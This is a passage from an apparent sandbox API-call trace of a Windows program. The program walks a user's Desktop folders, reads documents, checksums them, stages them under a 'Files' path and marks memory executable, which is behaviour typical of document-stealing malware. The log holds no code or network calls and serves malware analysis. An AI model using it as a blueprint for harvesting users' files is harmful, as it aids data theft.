psz="Files\\1\\~$I .doc.rtf", len=0x14 | out: pbstr=0x1e7dfa00*="Files\\1\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df9f8*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf") returned 1 [0165.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.720] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf" (normalized: "c:\\users\\aetadzjz\\desktop\\~$i .doc.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x22, hTemplateFile=0x0) returned 0x310 [0165.720] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0xa2 [0165.721] ReadFile (in: hFile=0x310, lpBuffer=0x1fcffe08, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fcffe08*, lpNumberOfBytesRead=0x1e7df944*=0xa2, lpOverlapped=0x0) returned 1 [0165.721] CloseHandle (hObject=0x310) returned 1 [0165.721] CharToOemBuffA (in: lpszSrc="Files\\1\\~$I .doc.rtf", lpszDst=0x1fcffeb8, cchDstLength=0x14 | out: lpszDst="Files\\1\\~$I .doc.rtf") returned 1 [0165.721] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fcfff00, Length=0xa2) returned 0xa93edb6e [0165.722] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.722] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.722] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x851aa9e0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x851aa9e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x851aa9e0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="~$I .doc.rtf", cAlternateFileName="~$IDOC~1.RTF")) returned 0 [0165.722] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.722] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.722] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.722] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.722] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.722] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a", len=0x2c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.723] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", len=0x2e | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*") returned 1 [0165.724] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x242f8920, ftCreationTime.dwHighDateTime=0x1d5df15, ftLastAccessTime.dwLowDateTime=0xc4173910, ftLastAccessTime.dwHighDateTime=0x1d5e794, ftLastWriteTime.dwLowDateTime=0xc4173910, ftLastWriteTime.dwHighDateTime=0x1d5e794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.724] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.") returned 1 [0165.725] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x242f8920, ftCreationTime.dwHighDateTime=0x1d5df15, ftLastAccessTime.dwLowDateTime=0xc4173910, ftLastAccessTime.dwHighDateTime=0x1d5e794, ftLastWriteTime.dwLowDateTime=0xc4173910, ftLastWriteTime.dwHighDateTime=0x1d5e794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.725] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..") returned 1 [0165.726] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70653c90, ftCreationTime.dwHighDateTime=0x1d5dc68, ftLastAccessTime.dwLowDateTime=0x5594f0, ftLastAccessTime.dwHighDateTime=0x1d5e1d5, ftLastWriteTime.dwLowDateTime=0x5594f0, ftLastWriteTime.dwHighDateTime=0x1d5e1d5, nFileSizeHigh=0x0, nFileSizeLow=0x399a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0K3ML.docx", cAlternateFileName="0K3ML~1.DOC")) returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.726] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.727] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0K3ML.docx", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0K3ML.docxI .doc.rtfmptop\\P0Hc9z_vVr1Uxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 10 [0165.727] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0K3ML.docx", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0K3ML.docxI .doc.rtfmptop\\P0Hc9z_vVr1Uxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 10 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.727] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.728] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.728] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.728] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.733] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.733] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.733] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.735] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\1\\~$I .doc.rtf", psz="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x26 | out: pbstr=0x1e7dfa00*="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x26 | out: pbstr=0x1e7df978*="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x26 | out: pbstr=0x1e7dfa00*="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x25 | out: pbstr=0x1e7df974*="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] SysReAllocStringLen (in: 